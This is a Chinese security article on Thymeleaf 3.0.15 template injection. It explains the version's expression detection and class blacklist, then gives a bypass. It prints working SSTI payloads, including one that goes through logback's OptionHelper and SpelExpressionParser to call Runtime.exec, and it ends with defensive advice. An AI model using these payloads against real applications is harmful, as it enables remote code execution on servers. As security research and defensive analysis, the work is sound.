JAVA安全之Thymeleaf模板注入检测再探
字数 1460 2025-08-22 18:37:27
Thymeleaf模板注入检测与绕过技术深入分析
1. Thymeleaf模板注入概述
Thymeleaf是一种流行的Java模板引擎,广泛用于Spring框架中。在Thymeleaf 3.0.15版本中,安全机制得到了加强,但仍然存在潜在的模板注入风险。
1.1 基本防护机制
Thymeleaf 3.0.15版本的主要防护措施:
- 检测到"{"字符即认为存在表达式内容,直接抛出异常停止解析
- 适用于URL PATH、Return、Fragment等可控场景
- 新增了对"||"的过滤处理
2. 模板操控攻击
当攻击者能够对模板文件进行更改、创建或上传时,可以构造恶意Java代码并写入模板中,随后触发执行。
2.1 常规攻击尝试
使用传统payload尝试攻击:
/doc;/__%24%7BT%09(java.lang.Runtime).getRuntime().exec("calc")%7D__%3A%3A.x
Thymeleaf 3.0.15会通过containsExpression方法检查是否包含表达式内容,主要检测是否存在"{"字符,如果发现则直接抛出异常。
2.2 LiteralSubstitutionUtil改进
在Thymeleaf 3.0.15.RELEASE版本中,LiteralSubstitutionUtil函数进行了安全增强:
- 添加了对"||"的过滤处理
- 第一次匹配到"|"则将
inLiteralSubstitution设置为true - 如果匹配到第二个"|"且两者相邻,则添加拼接"||"而非直接置空
3. 黑名单机制分析
当尝试执行以下模板内容时:
[[${T(java.lang.Runtime).getRuntime().exec("calc")}]]
系统会抛出异常并显示黑名单类:
Blacklisted classes are: [
java.util.concurrent.RunnableFuture,
java.util.concurrent.Executor,
java.lang.Runtime,
java.util.concurrent.FutureTask,
java.util.concurrent.ListenableFuture,
java.lang.Runnable,
java.util.concurrent.Future,
java.lang.Thread,
java.lang.reflect.Executable,
java.lang.Class,
java.lang.ClassLoader,
java.sql.DriverManager
]
3.1 黑名单检查流程
检查流程位于org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType:
- 调用
ExpressionUtils.isTypeAllowed(typeName)检查类名 - 检查typeName是否为NULL
- 提取前四个字符并与"java"比较
- 如果是java开头的类,则遍历黑名单检查是否有匹配项
关键代码:
public static boolean isTypeAllowed(String typeName) {
Validate.notNull(typeName, "Type name cannot be null");
int i0 = typeName.indexOf(46);
if (i0 >= 0) {
String package0 = typeName.substring(0, i0);
if ("java".equals(package0)) {
Iterator var3 = BLACKLISTED_CLASS_NAME_PREFIXES.iterator();
while(var3.hasNext()) {
String prefix = (String)var3.next();
if (typeName.startsWith(prefix)) {
return false;
}
}
}
}
return true;
}
4. 绕过技术
4.1 绕过思路
绕过黑名单的关键在于:
- 构造的模板中不包含黑名单中的类名
- 利用非黑名单类间接执行恶意代码
4.2 有效Payload示例
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName(
"org.springframework.expression.spel.standard.SpelExpressionParser",
"".getClass().getSuperclass(),
T(ch.qos.logback.core.util.OptionHelper).getClassLoader())
.parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')")
.getValue()}]]
4.3 类加载机制分析
绕过过程中利用了ClassUtils.forName方法的类加载机制:
- 检查类名是否为空
- 尝试解析基本数据类型
- 从commonClassCache中获取Class对象
- 处理数组类型的类名:
- 普通数组(以[]结尾)
- 对象数组(以[L开头并以;结尾)
- 原始类型数组(以[开头)
- 查找常规类
- 处理嵌套类(用$分隔外部类和内部类)
关键代码:
public static Class<?> forName(String name, @Nullable ClassLoader classLoader)
throws ClassNotFoundException, LinkageError {
Assert.notNull(name, "Name must not be null");
Class<?> clazz = resolvePrimitiveClassName(name);
if (clazz == null) {
clazz = (Class)commonClassCache.get(name);
}
// ...数组类型处理...
else {
ClassLoader clToUse = classLoader;
if (classLoader == null) {
clToUse = getDefaultClassLoader();
}
try {
return Class.forName(name, false, clToUse);
} catch (ClassNotFoundException var9) {
int lastDotIndex = name.lastIndexOf(46);
if (lastDotIndex != -1) {
String nestedClassName = name.substring(0, lastDotIndex) + '$' + name.substring(lastDotIndex + 1);
try {
return Class.forName(nestedClassName, false, clToUse);
} catch (ClassNotFoundException var8) {
}
}
throw var9;
}
}
}
5. 防御建议
- 及时更新Thymeleaf到最新版本
- 严格控制模板文件的编辑、上传权限
- 对用户输入进行严格过滤和验证
- 监控和记录模板文件变更
- 考虑扩展黑名单以包含更多危险类
6. 总结
Thymeleaf 3.0.15版本通过黑名单机制和表达式检测增强了安全性,但在特定条件下(如能修改模板文件)仍可能被绕过。安全审计时应关注:
- Thymeleaf版本信息
- 是否存在模板注入点
- 是否有模板文件编辑/上传功能
- 结合环境进行payload的Fuzzing测试
- 关注黑名单外的危险类利用可能性
在Thymeleaf 3.0.15版本之后的模板注入攻击主要集中在黑名单绕过和寻找可以更改目标文件的位置(如编辑、上传等功能点)。